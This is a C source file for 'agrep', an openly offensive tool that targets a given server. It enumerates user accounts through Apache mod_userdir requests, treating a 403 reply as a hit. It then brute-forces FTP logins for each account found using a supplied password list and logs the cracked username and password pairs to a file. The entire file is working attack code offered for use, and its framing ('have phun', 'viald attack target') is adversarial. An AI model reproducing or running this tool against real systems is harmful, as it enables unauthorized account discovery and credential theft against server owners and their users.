/* agrep.c

   account grep

   trys to log into a system via-
    1. grepin for users on the remote system via 
       Apache HTTP service [mod_userdir]
    2. trys to login via ftp with your password list
    3. loop to 1   


    written by l0om  [l0om[at]excluded.org]

    www.excluded.org

    have phun
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LOGACCOUNT  "accounts.log"  // the path to the log file 4 
                                    // vaild accounts

int check_user(char *user, unsigned int ip); 
/* checks for remote viald user via mod_userdir.
   GET /~root HTTP/1.0
   if we get a permission denied the user exist.
   of course this only works if mod_userdir is enabled
*/

void check_host(unsigned int addr);
/* checks host for vial target.
   trys to connect to http(80) and ftp(21)
   on http it greps the banner for Apache
*/

int ftp_login(char *user, unsigned int ip, FILE *pwds);
/* login with username and brute with our passwordlist */

int log_account(char *user, char *pass);
/* log viald accounts */

void err_q(int val, char *mess);
void header(void);
void help(void);


int main(int argc, char **argv)
{
  int i, bell=0, nlen;
  char user[40];
  FILE *users, *passwds;
  unsigned int ip;

  header();

  users=passwds=NULL;
  ip = -1;

  if(argc == 1) help();
  
  for(i = 1; i < argc; i++) {
    if(argv[i][0] == '-')
      switch(argv[i][1]) {
      case 'u':
	printf("\t opening your userfile %s... ",argv[++i]);fflush(stdout);
	if( (users = fopen(argv[i], "r")) == NULL) err_q(-1, "faild!\n");
	printf("done.\n");
	break;
      case 'p':
	printf("\t opening your password file %s...",argv[++i]);fflush(stdout);
	if( (passwds = fopen(argv[i], "r")) == NULL) err_q(-1, "faild!\n");
	printf("done.\n");
	break;
      case 'a': 
	printf("\t make a singal bell if login successed\n");
	bell=1;
	break;
      case 'h':
	help();
      } else {
	printf("\t servers ip %s\n",argv[i]);
	ip = inet_addr(argv[i]);
      }
  }

  if(ip < 0)
    err_q(-1, "\t give me the target ip, einstein\n");
 
  if(users == NULL || passwds == NULL) 
    err_q(-1, "\t specify a user list and a passwd list [-h for help]\n");

  check_host(ip); // check for a viald target
 
  printf("###############################################\n");
  while( (nlen = fscanf(users, "%s",user)) != EOF) {
    fseek(users, SEEK_CUR, nlen);
    
    if(!check_user(user,ip)) continue;
    printf("EXISTS!\n");

  ftp:
    switch(ftp_login(user, ip, passwds)) {
    case -1: 
      printf("we got disconnected! reconnecting...\n");
      goto ftp;  // i know... i know... 
    case 0:
      printf("get next user...\n\n");
      continue;
    default:
      if(bell) printf("\a"); 
      fflush(stdout);
      printf("--- ACCOUNT GREPPED ---\n");
      printf("...get next one\n");
    }
  }
  printf("################################################\n");
  printf("        this is the end [EOF] my friend\n");
  return(0);
}

int check_user(char *user, unsigned int ip)
{
  int sockfd;
  struct sockaddr_in servaddr;
  char buf[255];

  err_q(sockfd = socket(AF_INET, SOCK_STREAM, 0), "!cannot creat socket\n");

  servaddr.sin_addr.s_addr = ip;
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(80);

  err_q(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)),
	"!cannot connect to http service\n");

  printf("check for user %s... ",user); fflush(stdout);

  snprintf(buf, sizeof(buf), "GET /~%s HTTP/1.0\n\n",user);
  write(sockfd, buf, strlen(buf));
  read(sockfd, buf, sizeof(buf));
  if(strstr(buf, "403 ") != NULL)  // greped viald user account 
    return(1);
  
  printf("DOES NOT EXIST.\n");
  return(0);
}


int ftp_login(char *user, unsigned int ip, FILE *pwds)
{
  int sockfd, nlen, first = 0;
  struct sockaddr_in servaddr;
  char buf[255], pwd[50];

  err_q(sockfd = socket(AF_INET, SOCK_STREAM, 0), "!cannot creat socket\n");

  servaddr.sin_addr.s_addr = ip;
  servaddr.sin_port = htons(21);
  servaddr.sin_family = AF_INET;

  printf("\t connecting to ftp server... "); fflush(stdout);
  err_q(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)),
     "faild!\n");
  printf("done.\n");
  err_q(read(sockfd, buf, sizeof(buf)), "!read error\n");
  memset(buf, 0x00, sizeof(buf));

  printf("\t --- user %s\n",user);
  while( (nlen = fscanf(pwds, "%s", pwd)) != EOF) {
    if(first) fseek(pwds, SEEK_CUR, nlen);
    if(!first) { 
      strncpy(pwd,user,sizeof(pwd));
      first = 1;
    }
    printf("\t   + trying pwd %s\n",pwd);

    snprintf(buf, sizeof(buf), "USER %s\n",user);
    if(write(sockfd, buf, strlen(buf)) == -1)
      return(-1); // we got disconnected
    err_q(read(sockfd, buf, sizeof(buf)), "!read error\n");
    memset(buf, 0x00, sizeof(buf));

    snprintf(buf, sizeof(buf), "PASS %s\n",pwd);
    if(write(sockfd, buf, strlen(buf)) == -1)
      return(-1); // we got disconnected
  
    read(sockfd, buf, sizeof(buf)); //this really shouldnt fail now
    if(strstr(buf, "230 ") != NULL) {
      if(!log_account(user,pwd))
	printf("LOGGING FAILD: user:%s pass:%s\n",user,pwd);
      return(1); // got account!
    }
    memset(pwd, 0x00, sizeof(pwd));
  } printf("tryed all passwords for account %s\n",user);
  return(0);
}

int log_account(char *user, char *pass)
{
  FILE *fd;

  if( (fd = fopen(LOGACCOUNT, "a")) == NULL) return(0);
  fprintf(fd, "user:%s password:%s\n",user,pass);
  fclose(fd);

  return(1);
}

void check_host(unsigned int addr)
{
  int sockfd;
  char buf[200];
  struct sockaddr_in servaddr;

  err_q(sockfd = socket(AF_INET, SOCK_STREAM, 0), "!cannot creat socket\n");

  /* check for open http port */
  printf("check for http service... "); fflush(stdout);
  servaddr.sin_addr.s_addr=addr;
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(80);
  err_q(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)), 
	"faild!\n");
  printf("done.\n");

  printf("check http server... "); fflush(stdout);
 
  if(!check_user("root",addr)) {
    printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"); fflush(stdout);
    err_q(-1, "webserver is not vul to our attack! -exiting\n");
  }
 printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");
 printf("viald attack target.       \n");

  /* check for active ftp service */
  err_q(sockfd = socket(AF_INET, SOCK_STREAM, 0), "!cannot creat socket\n");
  printf("check for ftp service... "); fflush(stdout);
  servaddr.sin_addr.s_addr=addr;
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(21);
  err_q(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)),
	"faild!\n");
  printf("done.\n\n");

  printf("okay- lets get it movin!\n");
}

void help(void)
{
  puts("agrep help menue");
  puts("agrep [options] ip");
  puts("-p: next argument must be the password list");
  puts("-u: next argument must be the user list");
  puts("-a: make a signal bell on a viald ftp login");
  puts("-h: help");
  puts("example:");
  puts("agrep -p passwd.list -u user.list 192.168.120");
}

void err_q(int val, char *mess)
{
  if(val < 0) {
    fprintf(stderr, mess);
    exit(-10);
  }
}

void header(void)
{
  puts("\t- account grep -");
  puts("written by l0om [l0om[at]excluded.org]");
  puts("        www.excluded.org\n");
}
